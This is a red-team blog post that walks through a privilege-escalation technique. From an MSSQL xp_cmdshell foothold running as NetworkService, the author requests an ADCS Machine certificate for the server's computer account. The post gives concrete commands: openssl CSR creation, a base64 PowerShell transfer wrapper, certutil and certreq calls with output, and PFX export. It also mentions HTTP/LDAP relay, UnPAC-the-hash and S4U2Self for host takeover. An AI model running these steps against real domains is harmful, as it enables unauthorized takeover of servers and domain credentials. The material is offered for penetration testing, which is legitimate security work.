MSSQL | Potatos and how not to use them
Note: Before you dive in, I want to point out that this post does not explore deep, low-level technical details. It’s a proof of concept for an alternative technique that I haven’t seen anyone else cover, so I decided to write about it. I don’t think it will provide major benefits, but it might be useful for some red team engagements, especially when using Living off the Land and it is a fun technique.
This technique is heavily based on the CertPotato abuse discovered by Hocine Mahtout. While he covers major aspects of this vulnerability, I will demonstrate a different method of exploiting the same issue. You can read more about it in his blog post: https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/.
Before we get started, here’s a quick overview of service accounts in Windows. Built-in service accounts include LocalSystem, NetworkService, and LocalService. Some, like LocalSystem and NetworkService, use the computer account for network authentication. This is the juicy part Mahtout focuses on, the abuse of network authentication by IIS APPPOOL\DefaultAppPool, which is used to host websites in Microsoft environments.
In this post, I explore a different approach to abusing this mechanism. The picture bellow should give you a visual overview of my environment before we get into the technical details.

Just like in CertPotato blog, I’ll need ADCS in my domain as a the key element for this abuse. As you may have already guessed, my focus here will be on abusing the MSSQL NetworkService account.
Here he is…..

In most cases, when you gain MSSQL access with xp_cmdshell enabled, the most logical method is to exploit the SeImpersonate privilege to obtain a SYSTEM shell (with whatever Potato you choose so).
During one of my internal network penetration tests, I encountered a NetworkService account that didn’t have SeImpersonate privileges in my mssql xp_cmdshell, which made figuring out how to abuse it a bit unusual. (…proceeds to lie just to make this topic more interesting).
Of course, that’s impossible, the NetworkService account must have this privilege. If you try to configure it differently, you’ll either get an error, or Windows will entirely ignore your command to remove it. From my personal experience, I don’t believe it’s possible. However, if someone has found a way to do it, that’s neat.
In any case, these settings are always the default for network, local, and domain [service] accounts when they are used as the logon account for the MSSQL Server service, as shown in the picture below:

But to keep things interesting, let’s assume you don’t have a way to get a SYSTEM shell, maybe you just can’t transfer your tooling or there’s an EDR on the host you simply can’t bypass (since you’re not a malware developer….looks at a mirror), or simply because of a skill issue.

There is a way to forcibly authenticate that account by using xp_dirtree “prays to god mssql is running as Domain Admin” and relaying it to other hosts if SMB signing is (off / not required). However, that’s not the case in my example, although you can see proof of concept showing the NetworkService account using domain machine account authentication in the picture bellow.

But this is a machine account using the MSSQL protocol, it would be pure administrative stupidity to assign it as a local administrator on other hosts.

Yes…that happens also….
Because of this, I want to point out another quick win you can exploit to pwn an MSSQL server and that is by forcing it to authenticate via HTTP. Why? Because, as my senior colleague would say, HTTP authentication is like a wh*re: it takes everyone and gives it to anyone. Meaning, you can relay anything over HTTP, and HTTP can be relayed everywhere unless non-default security measures are in place.
There are two known easy relays for this:
- One to the ADCS Web Enrollment for the default certificate template, which leads to domain authentication as machine account (HTTP)
- Other to the Domain Controller for RBCD setup (LDAP).
Both of these lead to that server takeover. Here is easy POC, first off we use Invoke-WebRequest command with UseDefaultCredenitals parameter:

And then relay it on either LDAP (on DC) or HTTP (on CA).


But to keep things even spicier, let’s say there is no Web Enrollment, LDAP signing is enabled or just firewall rules blocking outbound auth.
I was thinking to myself: if Network Service accounts use the machine account for network operations, could I then simply request a certificate template for the machine, since certificate requests communicate with with the CA server through dynamically allocated RPC/DCOM ports (that is network operation?).
In my lab I will use deafult Computer (Machine) Template on my CA as one of the published ones on AD.


Just a quick note: “NT SERVICE\MSSQLSERVER” is a low-privileged user both locally and in the domain. So, what happens if a low-privileged user requests a machine certificate?

Denied!
Even exporting existing ones in the store is not possible since user doesn’t have privileges to do so, and is missing keyset (but I’ve seen cases where this is also misconfigured in client environment):

This is happening simply because this would be a very straightforward local privilege escalation path, sadly it’s not.
But let’s try it with our Network Service account. First, we’ll create a basic certificate signing request (CSR) with only the Common Name field filled, set to match our MSSQL server.
└─$ openssl req -newkey rsa:2048 -keyout MyKey.key -out certreq.csr
<snip>
Common Name (e.g. server FQDN or YOUR name) []:MSSQL.ANOTHER.SI
<snip>

Here is what our newly created CSR file looks like:

Now, how do we transfer it? Easy, a basic PowerShell base64-encoded command will do. You can encode it on your own host and then just copy and paste the base64 string into xp_cmdshell:
$script = @'
$csr = @"
-----BEGIN CERTIFICATE REQUEST-----
MIICpTCCAY0CAQAwYDELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEZMBcGA1UEAwwQTVNT
UUwuQU5PVEhFUi5TSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANCN
gm36O8oWbi6Vxg7diWqnc2yk/6UXlxayYr4S2gWKMESU/6RUNeCA3l1Zqepk5vAZ
7WC0/QGb316cFWH0qZEOzq1JUxNydT8GDfoo0DjY+zPNZ8Brk1g6tpxapsmkSWK9
7hlMVCUB6J95jTma9Qm8ps81OZ2PcYW/Kuzz3Q03IYn4ZRHozv0EHSBuQtN0Hxn8
hbiMQi7p/Sx85hHIMIMdr7+XJzoVZbp3gYu9Gx8Fk/jAIRAyXywvOPzfNVErwDAL
gr1bbzdXlJrYL0RG+fK+sb7RkFbfpxiOKcO04GVf2pirTILekdGVJ2xbU4Osgq+P
+n6s18f0wldUgvPtKPUCAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQCja+YNs1YZ
2TsZBLO4m0/Zyi/Cfeas2/NUCVDPW59CAr8V0yXegC6xE7ke6gNc4zZCU61TAT4Q
2xpv85UYI6zGj7kci/X9D+oAKiua00HZXNBYiVkzyXTw0Ozw/jP8Skw0yg/wcfFb
K/PgI1OVkUPYXBlfgtr93VJPH3j4eSsRxrgP/VRpZKQdteoFnituMv/IcsFAkdz9
YHgY4Qe22MJEUnzYv1ElZJ96cgStD+ewkC2NCp2AjUbImYyUPjhfqcAAK3wdfmMT
Qi7gPDO+sgQczXp8QtCfi419PF68IRYpsczrgYuIjp2erTqVL2yoiVZPAnzcGYQ0
ey2hw7D5Mx0h
-----END CERTIFICATE REQUEST-----
"@
$csr | Out-File -FilePath C:\Temp\certreq.csr -Encoding Ascii
'@
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
Write-Output $encoded

And POC in my environment (I should have listed the directory before this, you’ll have to trust me on this one.):

Lets check now for that ICertRequest2 interface that uses RPC/DCOM protocols (certreq and certutil LOLBAS use this mechanism)
SQL (MSSQL\Administrator dbo@master)> xp_cmdshell certutil -ping -config "ADCS\ANOTHER-CA"
output
-----------------------------------------------------------
Connecting to ADCS\ANOTHER-CA ...
Server "ANOTHER-CA" ICertRequest2 interface is alive (32ms)
CertUtil: -ping command completed successfully.
Lets request our machine certificate template:
SQL (MSSQL\Administrator dbo@master)> xp_cmdshell certreq -submit -attrib "CertificateTemplate:Machine" -config "adcs.another.is\ANOTHER-CA" "C:\Temp\certreq.csr" "C:\Temp\MachineCER.cer"

Just as suspected, we got the certificate with no issues whatsoever. So now lets just copy-paste it onto our linux machine

And now since we have CER and CSR files lets combine them and creates an encrypted PKCS#12 file (PFX)
└─$ openssl pkcs12 -export -out MachineCertificate.pfx -inkey MyKey.key -in MachineCER.cer
All that’s left is to check for our pfx validity by using UnPacTheHash attack:

Neat……

And as the cherry on top, an easy abuse of S4U2Self proves that you don’t need <insert Potato joke>.
